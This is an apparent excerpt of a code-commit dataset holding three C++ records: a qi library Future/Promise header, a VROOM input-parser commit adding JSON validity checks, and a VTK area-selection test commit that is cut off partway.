<qi\/eventloop.hpp>\n\n#ifdef _MSC_VER\n# pragma warning( push )\n# pragma warning( disable: 4251 )\n#endif\n\nnamespace qi {\n\n template<typename T> struct FutureType\n {\n typedef T type;\n };\n\n \/\/ Hold a void* for Future<void>\n template<> struct FutureType<void>\n {\n typedef void* type;\n };\n\n template <typename T> class FutureInterface;\n template <typename T> class Future;\n template <typename T> class FutureSync;\n template <typename T> class Promise;\n\n namespace detail {\n template <typename T> class FutureState;\n }\n\n template <typename T>\n class Future {\n public:\n typedef typename FutureType<T>::type ValueType;\n Future()\n : _p(new detail::FutureState<T>())\n {\n }\n\n Future(const FutureSync<T>& b)\n : _p(b._p)\n {\n b._sync = false;\n }\n\n inline Future<T>& operator = (const FutureSync<T>& b)\n {\n b._sync = false;\n _p = b._p;\n return *this;\n }\n\n explicit Future<T>(const ValueType& v)\n {\n Promise<T> promise;\n promise.setValue(v);\n *this = promise.future();\n }\n\n inline const ValueType &value() const { return _p->value(); }\n\n \/** Wait for future, and return a default value in case of error.\n * @param defaultVal the value to return in case of Future error\n * @return the future value, or \\p defaultVal if hasError() is true.\n *\/\n inline const ValueType &valueWithDefault(const ValueType& defaultVal = ValueType()) const;\n\n inline operator const ValueType&() const { return _p->value(); }\n\n \/** Wait for future to contain a value or an error\n @param msecs: Maximum time to wait in milliseconds, 0 means forever and -1 means return immediately.\n @return true if future contains a value or an error, false if timeout was reached\n *\/\n inline bool wait(int msecs = 30000) const { return _p->wait(msecs); }\n inline bool isReady() const { return _p->isReady(); }\n inline bool hasError(int msecs=30000) const { return _p->hasError(msecs); }\n\n inline const std::string &error() const { return _p->error(); }\n\n\n inline FutureSync<T> sync()\n {\n return FutureSync<T>(*this);\n };\n\n public: \/\/Signals\n typedef boost::signals2::connection Connection;\n typedef typename boost::signals2::signal<void (Future<T>)>::slot_type Slot;\n inline Connection connect(const Slot& s) { return _p->connect(*this, s);}\n inline bool disconnect(Connection i) { return _p->disconnect(i); }\n \/\/qi::Signal<void (qi::Future<T>)> &onResult() { return _p->_onResult; }\n\n protected:\n \/\/ C4251 needs to have dll-interface to be used by clients of class 'qi::Future<T>'\n boost::shared_ptr< detail::FutureState<T> > _p;\n friend class Promise<T>;\n friend class FutureSync<T>;\n };\n\n template<typename T> class FutureSync: public Future<T>\n {\n public:\n \/\/ This future cannot be set, so sync starts at false\n FutureSync() : _sync(false) {}\n\n FutureSync(const Future<T>& b)\n : Future<T>(b)\n , _sync(true)\n {\n }\n\n FutureSync(const FutureSync<T>& b)\n : Future<T>(b)\n , _sync(true)\n {\n b._sync = false;\n }\n\n explicit FutureSync<T>(const typename Future<T>::ValueType& v)\n : _sync(false)\n {\n Promise<T> promise;\n promise.setValue(v);\n *this = promise.future();\n }\n\n inline FutureSync<T>& operator = (const FutureSync<T>& b)\n {\n this->_p = b._p;\n _sync = true;\n b._sync = false;\n return *this;\n }\n\n inline FutureSync<T>& operator = (const Future<T>& b)\n {\n this->_p = b._p;\n _sync = true;\n return *this;\n }\n\n ~FutureSync()\n {\n if (_sync)\n this->wait();\n }\n\n Future<T> async()\n {\n return *this;\n }\n\n private:\n mutable bool _sync;\n friend class Future<T>;\n };\n\n\n template <typename T>\n class Promise {\n public:\n typedef typename FutureType<T>::type ValueType;\n\n Promise() { }\n\n void setValue(const ValueType &value) {\n _f._p->setValue(_f, value);\n }\n\n void setError(const std::string &msg) {\n _f._p->setError(_f, msg);\n }\n\n void reset() {\n _f._p->reset();\n }\n\n Future<T> future() { return _f; }\n\n protected:\n Future<T> _f;\n };\n\n template <typename T>\n qi::Future<T> makeFutureError(const std::string &value);\n}\n\n#ifdef _MSC_VER\n# pragma warning( pop )\n#endif\n\n#include <qi\/details\/future.hxx>\n\n#endif \/\/ _QITYPE_FUTURE_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nThis file is part of VROOM.\n\nCopyright (c) 2015-2017, Julien Coupey.\nAll rights reserved (see LICENSE).\n\n*\/\n\n#include \".\/input_parser.h\"\n\n\/\/ Helper to get optional array of coordinates.\ninline optional_coords_t parse_coordinates(const rapidjson::Value& object,\n const char* key) {\n if (object.HasMember(key) and object[key].IsArray()) {\n if (object[key].Size() < 2) {\n throw custom_exception(\"Invalid coordinates array size.\");\n }\n return optional_coords_t({object[key][0].GetDouble(),\n object[key][1].GetDouble()});\n }\n else {\n return boost::none;\n }\n}\n\ninput parse(const cl_args_t& cl_args) {\n BOOST_LOG_TRIVIAL(info) << \"[Loading] Parsing input.\";\n\n \/\/ Set relevant wrapper to retrieve the matrix and geometry.\n std::unique_ptr<routing_io<distance_t>> routing_wrapper;\n if (!cl_args.use_libosrm) {\n \/\/ Use osrm-routed.\n routing_wrapper =\n std::make_unique<routed_wrapper>(cl_args.osrm_address,\n cl_args.osrm_port,\n cl_args.osrm_profile);\n }\n else {\n#if LIBOSRM\n \/\/ Use libosrm.\n if (cl_args.osrm_profile.empty()) {\n throw custom_exception(\"-l flag requires -m.\");\n }\n routing_wrapper = std::make_unique<libosrm_wrapper>(cl_args.osrm_profile);\n#else\n throw custom_exception(\"libosrm must be installed to use -l.\");\n#endif\n }\n\n \/\/ Custom input object embedding jobs, vehicles and matrix.\n input input_data(std::move(routing_wrapper), cl_args.geometry);\n\n \/\/ Input json object.\n rapidjson::Document json_input;\n\n \/\/ Parsing input string to populate the input object.\n if (json_input.Parse(cl_args.input.c_str()).HasParseError()) {\n std::string error_msg =\n std::string(rapidjson::GetParseError_En(json_input.GetParseError())) +\n \" (offset: \" + std::to_string(json_input.GetErrorOffset()) + \")\";\n throw custom_exception(error_msg);\n }\n\n \/\/ Checks required in any case.\n if (!json_input.HasMember(\"jobs\") or !json_input[\"jobs\"].IsArray()) {\n throw custom_exception(\"Incorrect jobs input.\");\n }\n\n if (!json_input.HasMember(\"vehicles\")\n or !json_input[\"vehicles\"].IsArray()\n or json_input[\"vehicles\"].Empty()) {\n throw custom_exception(\"Incorrect vehicles input.\");\n }\n if (!json_input[\"vehicles\"][0].IsObject()) {\n throw custom_exception(\"Ill-formed vehicle object.\");\n }\n if (!json_input[\"vehicles\"][0].HasMember(\"id\")) {\n throw custom_exception(\"Missing mandatory vehicle id.\");\n }\n if (json_input[\"vehicles\"].Size() > 1) {\n throw custom_exception(\"Multiple vehicles are not supported (yet).\");\n }\n\n \/\/ Switch input type: explicit matrix or using OSRM.\n if (json_input.HasMember(\"matrix\")) {\n \/\/ Load custom matrix while checking if it is square.\n rapidjson::SizeType matrix_size = json_input[\"matrix\"].Size();\n matrix<distance_t> matrix_input(matrix_size);\n for (rapidjson::SizeType i = 0; i < matrix_size; ++i) {\n if (json_input[\"matrix\"][i].Size() != matrix_size) {\n throw custom_exception(\"Input matrix is not square.\");\n }\n for (rapidjson::SizeType j = 0; j < matrix_size; ++j) {\n if (!json_input[\"matrix\"][i][j].IsNumber()) {\n throw custom_exception(\"Input matrix has a non-number entry.\");\n }\n matrix_input[i][j] = json_input[\"matrix\"][i][j].GetUint();\n }\n }\n\n \/\/Identify the necessary columns\/rows from the loaded matrix\n std::vector<index_t> necessary_indices;\n index_t index_counter = 0;\n\n \/\/ Check if vehicle has start_index or end_index.\n boost::optional<index_t> start_index;\n if (json_input[\"vehicles\"][0].HasMember(\"start_index\")) {\n if (!json_input[\"vehicles\"][0][\"start_index\"].IsNumber()) {\n throw custom_exception(\"Vehicle start_index is not a number.\");\n }\n start_index = json_input[\"vehicles\"][0][\"start_index\"].GetUint();\n if (matrix_size <= start_index.get()) {\n throw custom_exception(\"Vehicle start_index does not match to matrix size.\");\n }\n }\n if (start_index) {\n necessary_indices.push_back( start_index.get() );\n start_index = index_counter++;\n }\n boost::optional<index_t> end_index;\n if (json_input[\"vehicles\"][0].HasMember(\"end_index\")) {\n if (!json_input[\"vehicles\"][0][\"end_index\"].IsNumber()) {\n throw custom_exception(\"Vehicle end_index is not a number.\");\n }\n end_index = json_input[\"vehicles\"][0][\"end_index\"].GetUint();\n if (matrix_size <= end_index.get()) {\n throw custom_exception(\"Vehicle end_index does not match to matrix size.\");\n }\n }\n if (end_index) {\n necessary_indices.push_back( end_index.get() );\n end_index = index_counter++;\n }\n \/\/ Add vehicle to input\n input_data.add_vehicle(json_input[\"vehicles\"][0][\"id\"].GetUint(),\n parse_coordinates(json_input[\"vehicles\"][0],\n \"start\"),\n parse_coordinates(json_input[\"vehicles\"][0],\n \"end\"),\n start_index,\n end_index);\n \/\/ Add the jobs\n for (rapidjson::SizeType i = 0; i < json_input[\"jobs\"].Size(); ++i) {\n if (!json_input[\"jobs\"][i].IsObject()){\n throw custom_exception(\"Ill-formed job object.\");\n }\n if (!json_input[\"jobs\"][i].HasMember(\"id\")) {\n throw custom_exception(\"Missing mandatory job id.\");\n }\n if (!json_input[\"jobs\"][i][\"id\"].IsNumber()) {\n throw custom_exception(\"Job id is not a number.\");\n }\n if (!json_input[\"jobs\"][i].HasMember(\"location_index\")) {\n throw custom_exception(\"Missing mandatory job location_index.\");\n }\n if (!json_input[\"jobs\"][i][\"location_index\"].IsNumber()) {\n throw custom_exception(\"Job location_index is not a number.\");\n }\n if (matrix_size <= json_input[\"jobs\"][i][\"location_index\"].GetUint()) {\n throw custom_exception(\"Job location_index does not match to matrix size.\");\n }\n necessary_indices.push_back( json_input[\"jobs\"][i][\"location_index\"].GetUint() );\n input_data.add_job(json_input[\"jobs\"][i][\"id\"].GetUint(),\n parse_coordinates(json_input[\"jobs\"][i],\"location\"),\n index_counter++);\n }\n\n \/\/Extract the necessary columns\/rows for the algorithm.\n input_data._matrix = matrix_input.get_sub_matrix( necessary_indices );\n }\n else {\n input_data.add_vehicle(json_input[\"vehicles\"][0][\"id\"].GetUint(),\n parse_coordinates(json_input[\"vehicles\"][0],\n \"start\"),\n parse_coordinates(json_input[\"vehicles\"][0],\n \"end\"));\n\n \/\/ Getting jobs.\n for (rapidjson::SizeType i = 0; i < json_input[\"jobs\"].Size(); ++i) {\n if (!json_input[\"jobs\"][i].IsObject()) {\n throw custom_exception(\"Ill-formed job object.\");\n }\n if (!json_input[\"jobs\"][i].HasMember(\"location\")) {\n throw custom_exception(\"Missing mandatory job location.\");\n }\n if (!json_input[\"jobs\"][i].HasMember(\"id\")) {\n throw custom_exception(\"Missing mandatory job id.\");\n }\n\n input_data.add_job(json_input[\"jobs\"][i][\"id\"].GetUint(),\n parse_coordinates(json_input[\"jobs\"][i], \"location\"));\n }\n }\n\n if (input_data._locations.size() <= 1) {\n throw custom_exception(\"At least two locations required!\");\n }\n\n return input_data;\n}\n<commit_msg>Add json validity checks. #61<commit_after>\/*\n\nThis file is part of VROOM.\n\nCopyright (c) 2015-2017, Julien Coupey.\nAll rights reserved (see LICENSE).\n\n*\/\n\n#include \".\/input_parser.h\"\n\n\/\/ Helper to get optional array of coordinates.\ninline optional_coords_t parse_coordinates(const rapidjson::Value& object,\n const char* key) {\n if (object.HasMember(key) and object[key].IsArray()) {\n if ((object[key].Size() < 2)\n or !object[key][0].IsNumber()\n or !object[key][1].IsNumber()) {\n throw custom_exception(\"Invalid \" + std::string(key) + \" array.\");\n }\n return optional_coords_t({object[key][0].GetDouble(),\n object[key][1].GetDouble()});\n }\n else {\n return boost::none;\n }\n}\n\ninput parse(const cl_args_t& cl_args) {\n BOOST_LOG_TRIVIAL(info) << \"[Loading] Parsing input.\";\n\n \/\/ Set relevant wrapper to retrieve the matrix and geometry.\n std::unique_ptr<routing_io<distance_t>> routing_wrapper;\n if (!cl_args.use_libosrm) {\n \/\/ Use osrm-routed.\n routing_wrapper =\n std::make_unique<routed_wrapper>(cl_args.osrm_address,\n cl_args.osrm_port,\n cl_args.osrm_profile);\n }\n else {\n#if LIBOSRM\n \/\/ Use libosrm.\n if (cl_args.osrm_profile.empty()) {\n throw custom_exception(\"-l flag requires -m.\");\n }\n routing_wrapper = std::make_unique<libosrm_wrapper>(cl_args.osrm_profile);\n#else\n throw custom_exception(\"libosrm must be installed to use -l.\");\n#endif\n }\n\n \/\/ Custom input object embedding jobs, vehicles and matrix.\n input input_data(std::move(routing_wrapper), cl_args.geometry);\n\n \/\/ Input json object.\n rapidjson::Document json_input;\n\n \/\/ Parsing input string to populate the input object.\n if (json_input.Parse(cl_args.input.c_str()).HasParseError()) {\n std::string error_msg =\n std::string(rapidjson::GetParseError_En(json_input.GetParseError())) +\n \" (offset: \" + std::to_string(json_input.GetErrorOffset()) + \")\";\n throw custom_exception(error_msg);\n }\n\n \/\/ Main Checks for valid json input.\n if (!json_input.HasMember(\"jobs\") or !json_input[\"jobs\"].IsArray()) {\n throw custom_exception(\"Incorrect jobs input.\");\n }\n\n if (!json_input.HasMember(\"vehicles\")\n or !json_input[\"vehicles\"].IsArray()\n or json_input[\"vehicles\"].Empty()) {\n throw custom_exception(\"Incorrect vehicles input.\");\n }\n if (!json_input[\"vehicles\"][0].IsObject()) {\n throw custom_exception(\"Ill-formed vehicle object.\");\n }\n if (!json_input[\"vehicles\"][0].HasMember(\"id\")\n or !json_input[\"vehicles\"][0][\"id\"].IsUint()) {\n throw custom_exception(\"Invalid vehicle id.\");\n }\n if (json_input[\"vehicles\"].Size() > 1) {\n throw custom_exception(\"Multiple vehicles are not supported (yet).\");\n }\n\n \/\/ Switch input type: explicit matrix or using OSRM.\n if (json_input.HasMember(\"matrix\")) {\n if (!json_input[\"matrix\"].IsArray()) {\n throw custom_exception(\"Invalid matrix.\");\n }\n\n \/\/ Load custom matrix while checking if it is square.\n rapidjson::SizeType matrix_size = json_input[\"matrix\"].Size();\n matrix<distance_t> matrix_input(matrix_size);\n for (rapidjson::SizeType i = 0; i < matrix_size; ++i) {\n if (!json_input[\"matrix\"][i].IsArray()\n or (json_input[\"matrix\"][i].Size() != matrix_size)) {\n throw custom_exception(\"Input matrix is not square.\");\n }\n for (rapidjson::SizeType j = 0; j < matrix_size; ++j) {\n if (!json_input[\"matrix\"][i][j].IsUint()) {\n throw custom_exception(\"Input matrix has a non-number entry.\");\n }\n matrix_input[i][j] = json_input[\"matrix\"][i][j].GetUint();\n }\n }\n\n \/\/Identify the necessary columns\/rows from the loaded matrix\n std::vector<index_t> necessary_indices;\n index_t index_counter = 0;\n\n \/\/ Check if vehicle has start_index or end_index.\n boost::optional<index_t> start_index;\n if (json_input[\"vehicles\"][0].HasMember(\"start_index\")) {\n if (!json_input[\"vehicles\"][0][\"start_index\"].IsUint()) {\n throw custom_exception(\"Vehicle start_index is not a number.\");\n }\n start_index = json_input[\"vehicles\"][0][\"start_index\"].GetUint();\n if (matrix_size <= start_index.get()) {\n throw custom_exception(\"Vehicle start_index does not match to matrix size.\");\n }\n }\n if (start_index) {\n necessary_indices.push_back( start_index.get() );\n start_index = index_counter++;\n }\n boost::optional<index_t> end_index;\n if (json_input[\"vehicles\"][0].HasMember(\"end_index\")) {\n if (!json_input[\"vehicles\"][0][\"end_index\"].IsUint()) {\n throw custom_exception(\"Vehicle end_index is not a number.\");\n }\n end_index = json_input[\"vehicles\"][0][\"end_index\"].GetUint();\n if (matrix_size <= end_index.get()) {\n throw custom_exception(\"Vehicle end_index does not match to matrix size.\");\n }\n }\n if (end_index) {\n necessary_indices.push_back( end_index.get() );\n end_index = index_counter++;\n }\n \/\/ Add vehicle to input\n input_data.add_vehicle(json_input[\"vehicles\"][0][\"id\"].GetUint(),\n parse_coordinates(json_input[\"vehicles\"][0],\n \"start\"),\n parse_coordinates(json_input[\"vehicles\"][0],\n \"end\"),\n start_index,\n end_index);\n \/\/ Add the jobs\n for (rapidjson::SizeType i = 0; i < json_input[\"jobs\"].Size(); ++i) {\n if (!json_input[\"jobs\"][i].IsObject()) {\n throw custom_exception(\"Ill-formed job object.\");\n }\n if (!json_input[\"jobs\"][i].HasMember(\"id\")\n or !json_input[\"jobs\"][i][\"id\"].IsUint()) {\n throw custom_exception(\"Invalid job id.\");\n }\n if (!json_input[\"jobs\"][i].HasMember(\"location_index\")\n or !json_input[\"jobs\"][i][\"location_index\"].IsUint()) {\n throw custom_exception(\"Invalid job location_index.\");\n }\n if (matrix_size <= json_input[\"jobs\"][i][\"location_index\"].GetUint()) {\n throw custom_exception(\"Job location_index does not match to matrix size.\");\n }\n necessary_indices.push_back( json_input[\"jobs\"][i][\"location_index\"].GetUint() );\n input_data.add_job(json_input[\"jobs\"][i][\"id\"].GetUint(),\n parse_coordinates(json_input[\"jobs\"][i],\"location\"),\n index_counter++);\n }\n\n \/\/Extract the necessary columns\/rows for the algorithm.\n input_data._matrix = matrix_input.get_sub_matrix( necessary_indices );\n }\n else {\n input_data.add_vehicle(json_input[\"vehicles\"][0][\"id\"].GetUint(),\n parse_coordinates(json_input[\"vehicles\"][0],\n \"start\"),\n parse_coordinates(json_input[\"vehicles\"][0],\n \"end\"));\n\n \/\/ Getting jobs.\n for (rapidjson::SizeType i = 0; i < json_input[\"jobs\"].Size(); ++i) {\n if (!json_input[\"jobs\"][i].IsObject()) {\n throw custom_exception(\"Ill-formed job object.\");\n }\n if (!json_input[\"jobs\"][i].HasMember(\"location\")\n or !json_input[\"jobs\"][i][\"location\"].IsArray()) {\n throw custom_exception(\"Invalid job location.\");\n }\n if (!json_input[\"jobs\"][i].HasMember(\"id\")\n or !json_input[\"jobs\"][i][\"id\"].IsUint()) {\n throw custom_exception(\"Invalid job id.\");\n }\n\n input_data.add_job(json_input[\"jobs\"][i][\"id\"].GetUint(),\n parse_coordinates(json_input[\"jobs\"][i], \"location\"));\n }\n }\n\n if (input_data._locations.size() <= 1) {\n throw custom_exception(\"At least two locations required!\");\n }\n\n return input_data;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: TestAreaSelections.cxx\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n\/\/ This tests vtkHardwareSelector, vtkExtractSelectedFrustum, \n\/\/ vtkRenderedAreaPicker, and vtkInteractorStyleRubberBandPick.\n\/\/ \n\/\/ The command line arguments are:\n\/\/ -I => run in interactive mode; unless this is used, the program will\n\/\/ not allow interaction and exit\n\n#include \"vtkTestUtilities.h\"\n#include \"vtkRegressionTestImage.h\"\n\n#include \"vtkRenderer.h\"\n#include \"vtkRenderWindow.h\"\n#include \"vtkRenderWindowInteractor.h\"\n#include \"vtkSphereSource.h\"\n#include \"vtkPolyDataMapper.h\"\n#include \"vtkActor.h\"\n#include \"vtkInteractorStyleRubberBandPick.h\"\n#include \"vtkCallbackCommand.h\"\n#include \"vtkHardwareSelector.h\"\n#include \"vtkSelection.h\"\n#include \"vtkExtractSelectedPolyDataIds.h\"\n#include \"vtkIdTypeArray.h\"\n#include \"vtkRenderedAreaPicker.h\"\n#include \"vtkCamera.h\"\n#include \"vtkImageMandelbrotSource.h\"\n#include \"vtkImageActor.h\"\n#include \"vtkExtractSelectedFrustum.h\"\n#include \"vtkDataSetMapper.h\"\n#include \"vtkSmartPointer.h\"\n\n#include \"vtkDataSetReader.h\"\n\nvtkSmartPointer<vtkRenderer> renderer;\nvtkSmartPointer<vtkSphereSource> SS1;\nvtkSmartPointer<vtkDataSetMapper> sMap;\nvtkSmartPointer<vtkPolyData> emptyPD;\n\n#define MY_CREATE_NEW(class, variable)\\\n vtkSmartPointer<class> variable = vtkSmartPointer<class>::New();\n\nstatic void EndPick(vtkObject *vtkNotUsed( caller ),\n unsigned long vtkNotUsed(eventId), \n void *, void *)\n{\n MY_CREATE_NEW(vtkHardwareSelector, sel);\n sel->SetRenderer(renderer);\n\n double x0 = renderer->GetPickX1();\n double y0 = renderer->GetPickY1();\n double x1 = renderer->GetPickX2();\n double y1 = renderer->GetPickY2();\n\n sel->SetArea(static_cast<int>(x0),static_cast<int>(y0),static_cast<int>(x1),\n static_cast<int>(y1));\n vtkSmartPointer<vtkSelection> res;\n res.TakeReference(sel->Select());\n if (!res)\n {\n cerr << \"Selection not supported.\" << endl;\n return;\n }\n\n \/*\n cerr << \"x0 \" << x0 << \" y0 \" << y0 << \"\\t\";\n cerr << \"x1 \" << x1 << \" y1 \" << y1 << endl;\n vtkIdTypeArray *a = vtkIdTypeArray::New();\n sel->GetSelectedIds(a);\n cerr << \"numhits = \" << a->GetNumberOfTuples() << endl;\n sel->PrintSelectedIds(a);\n a->Delete();\n *\/\n\n vtkSelection *cellids = res->GetChild(0);\n MY_CREATE_NEW(vtkExtractSelectedPolyDataIds, extr);\n if (cellids)\n {\n extr->SetInput(0, SS1->GetOutput());\n extr->SetInput(1, cellids);\n extr->Update();\n sMap->SetInput(extr->GetOutput());\n }\n else\n {\n cerr << \"Empty color buffer selection -\" << endl;\n cerr << \"Check display color depth. Must be at least 24 bit.\" << endl;\n sMap->SetInput(emptyPD);\n }\n}\n\nint TestAreaSelections(int argc, char* argv[])\n{\n \/\/ Standard rendering classes\n renderer = vtkSmartPointer<vtkRenderer>::New();\n MY_CREATE_NEW(vtkRenderWindow, renWin);\n renWin->AddRenderer(renderer);\n MY_CREATE_NEW(vtkRenderWindowInteractor, iren);\n iren->SetRenderWindow(renWin); \n\n \/\/set up the view\n renderer->GetActiveCamera()->SetPosition( 1.5, -0.75, 7);\n renderer->GetActiveCamera()->SetFocalPoint(1.5, -0.75, 0);\n renderer->GetActiveCamera()->SetViewUp( 0, 1, 0);\n renderer->SetBackground(0.0,0.0,0.0); \n renWin->SetSize(300,300);\n\n \/\/use the rubber band pick interactor style\n vtkRenderWindowInteractor* rwi = renWin->GetInteractor();\n MY_CREATE_NEW(vtkInteractorStyleRubberBandPick, rbp);\n rwi->SetInteractorStyle(rbp);\n\n MY_CREATE_NEW(vtkRenderedAreaPicker, areaPicker);\n rwi->SetPicker(areaPicker);\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/Create a unstructured grid data source to test FrustumExtractor with.\n MY_CREATE_NEW(vtkDataSetReader, reader);\n char *cfname=vtkTestUtilities::ExpandDataFileName(argc, argv, \"Data\/SampleStructGrid.vtk\");\n reader->SetFileName(cfname);\n \n MY_CREATE_NEW(vtkDataSetMapper, map1);\n map1->SetInput(reader->GetOutput());\n\n MY_CREATE_NEW(vtkActor, act1);\n act1->SetMapper(map1);\n act1->PickableOff(); \/\/prevents the visible cell selector from trying\n renderer->AddActor(act1);\n\n \/\/frustum extractor works on geometry and doesn't care about pickability\n MY_CREATE_NEW(vtkExtractSelectedFrustum, extractor);\n extractor->SetInputConnection(reader->GetOutputPort());\n extractor->PreserveTopologyOff();\n extractor->SetFrustum(areaPicker->GetFrustum());\n\n MY_CREATE_NEW(vtkDataSetMapper, eMap);\n eMap->SetInput(vtkDataSet::SafeDownCast(extractor->GetOutput()));\n\n MY_CREATE_NEW(vtkActor, eAct);\n eAct->SetPosition(2,0,0);\n eAct->SetMapper(eMap);\n eAct->PickableOff();\n renderer->AddActor(eAct);\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n emptyPD = vtkSmartPointer<vtkPolyData>::New();\n\n int res = 20;\n SS1 = vtkSmartPointer<vtkSphereSource>::New();\n SS1->SetThetaResolution(res);\n SS1->SetPhiResolution(res);\n SS1->SetRadius(0.5);\n SS1->SetCenter(0.5,-1.5,0);\n MY_CREATE_NEW(vtkPolyDataMapper, map2);\n map2->SetInput(SS1->GetOutput());\n \n MY_CREATE_NEW(vtkActor, act2);\n act2->SetMapper(map2);\n act2->PickableOn(); \/\/lets the HardwareSelector select in it\n renderer->AddActor(act2);\n\n sMap = vtkSmartPointer<vtkDataSetMapper>::New();\n sMap->SetInput(SS1->GetOutput());\n\n MY_CREATE_NEW(vtkActor, sAct);\n sAct->SetMapper(sMap);\n sAct->SetPosition(2,0,0);\n sAct->PickableOff();\n renderer->AddActor(sAct);\n\n \/\/pass pick events to the HardwareSelector\n MY_CREATE_NEW(vtkCallbackCommand, cbc);\n cbc->SetCallback(EndPick);\n cbc->SetClientData(renderer);\n rwi->AddObserver(vtkCommand::EndPickEvent,cbc);\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n \/\/run the test\n\n renWin->Render();\n areaPicker->AreaPick(51,78,82,273,renderer);\n EndPick(NULL, 0, NULL, NULL);\n renWin->Render();\n\n int retVal = vtkRegressionTestImage( renWin );\n if ( retVal == vtkRegressionTester::DO_INTERACTOR)\n {\n iren->Start();\n }\n\n \/\/ Cleanup\n delete [] cfname;\n return !retVal;\n}\n<commit_msg>BUG: Pass the test if hardware does not support selection.<commit_after>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: TestAreaSelections.cxx\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n\/\/ This tests vtkHardwareSelector, vtkExtractSelectedFrustum, \n\/\/ vtkRenderedAreaPicker, and vtkInteractorStyleRubberBandPick.\n\/\/ \n\/\/ The command line arguments are:\n\/\/ -I => run in interactive mode; unless this is used, the program will\n\/\/ not allow interaction and exit\n\n#include \"vtkTestUtilities.h\"\n#include \"vtkRegressionTestImage.h\"\n\n#include \"vtkRenderer.h\"\n#include \"vtkRenderWindow.h\"\n#include \"vtkRenderWindowInteractor.h\"\n#include \"vtkSphereSource.h\"\n#include \"vtkPolyDataMapper.h\"\n#include \"vtkActor.h\"\n#include \"vtkInteractorStyleRubberBandPick.h\"\n#include \"vtkCallbackCommand.h\"\n#include \"vtkHardwareSelector.h\"\n#include \"vtkSelection.h\"\n#include \"vtkExtractSelectedPolyDataIds.h\"\n#include \"vtkIdTypeArray.h\"\n#include \"vtkRenderedAreaPicker.h\"\n#include \"vtkCamera.h\"\n#include \"vtkImageMandelbrotSource.h\"\n#include \"vtkImageActor.h\"\n#include \"vtkExtractSelectedFrustum.h\"\n#include \"vtkDataSetMapper.h\"\n#include \"vtkSmartPointer.h\"\n\n#include \"vtkDataSetReader.h\"\n\nvtkSmartPointer<vtkRenderer> renderer;\nvtkSmartPointer<vtkSphereSource> SS1;\nvtkSmartPointer<vtkDataSetMapper> sMap;\nvtkSmartPointer<vtkPolyData> emptyPD;\n\n#define MY_CREATE_NEW(class, variable)\\\n vtkSmartPointer<class> variable = vtkSmartPointer<class>::New();\n\nstatic void EndPick(vtkObject *vtkNotUsed( caller ),\n unsigned long vtkNotUsed(eventId), \n void *, void *)\n{\n MY_CREATE_NEW(vtkHardwareSelector, sel);\n sel->SetRenderer(renderer);\n\n double x0 = renderer->GetPickX1();\n double y0 = renderer->GetPickY1();\n double x1 = renderer->GetPickX2();\n double y1 = renderer->GetPickY2();\n\n sel->SetArea(static_cast<int>(x0),static_cast<int>(y0),static_cast<int>(x1),\n static_cast<int>(y1));\n vtkSmartPointer<vtkSelection> res;\n res.TakeReference(sel->Select());\n if (!res)\n {\n cerr << \"Selection not supported.\" << endl;\n return;\n }\n\n \/*\n cerr << \"x0 \" << x0 << \" y0 \" << y0 << \"\\t\";\n cerr << \"x1 \" << x1 << \" y1 \" << y1 << endl;\n vtkIdTypeArray *a = vtkIdTypeArray::New();\n sel->GetSelectedIds(a);\n cerr << \"numhits = \" << a->GetNumberOfTuples() << endl;\n sel->PrintSelectedIds(a);\n a->Delete();\n *\/\n\n vtkSelection *cellids = res->GetChild(0);\n MY_CREATE_NEW(vtkExtractSelectedPolyDataIds, extr);\n if (cellids)\n {\n extr->SetInput(0, SS1->GetOutput());\n extr->SetInput(1, cellids);\n extr->Update();\n sMap->SetInput(extr->GetOutput());\n }\n else\n {\n cerr << \"Empty color buffer selection -\" << endl;\n cerr << \"Check display color depth. Must be at least 24 bit.\" << endl;\n sMap->SetInput(emptyPD);\n }\n}\n\nint TestAreaSelections(int argc, char* argv[])\n{\n \/\/ Standard rendering classes\n renderer = vtkSmartPointer<vtkRenderer>::New();\n MY_CREATE_NEW(vtkRenderWindow, renWin);\n renWin->AddRenderer(renderer);\n MY_CREATE_NEW(vtkRenderWindowInteractor, iren);\n iren->SetRenderWindow(renWin); \n\n \/\/set up the view\n renderer->GetActiveCamera()->SetPosition( 1.5, -0.75, 7);\n renderer->GetActiveCamera()->SetFocalPoint(1.5, -0.75, 0);\n renderer->GetActiveCamera()->SetViewUp( 0, 1, 0);\n renderer->SetBackground(0.0,0.0,0.0); \n renWin->SetSize(300,300);\n\n \/\/use the rubber band pick interactor style\n vtkRenderWindowInteractor* rwi = renWin->GetInteractor();\n MY_CREATE_NEW(vtkInteractorStyleRubberBandPick, rbp);\n rwi->SetInteractorStyle(rbp);\n\n MY_CREATE_NEW(vtkRenderedAreaPicker, areaPicker);\n rwi->SetPicker(areaPicker);\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/Create a 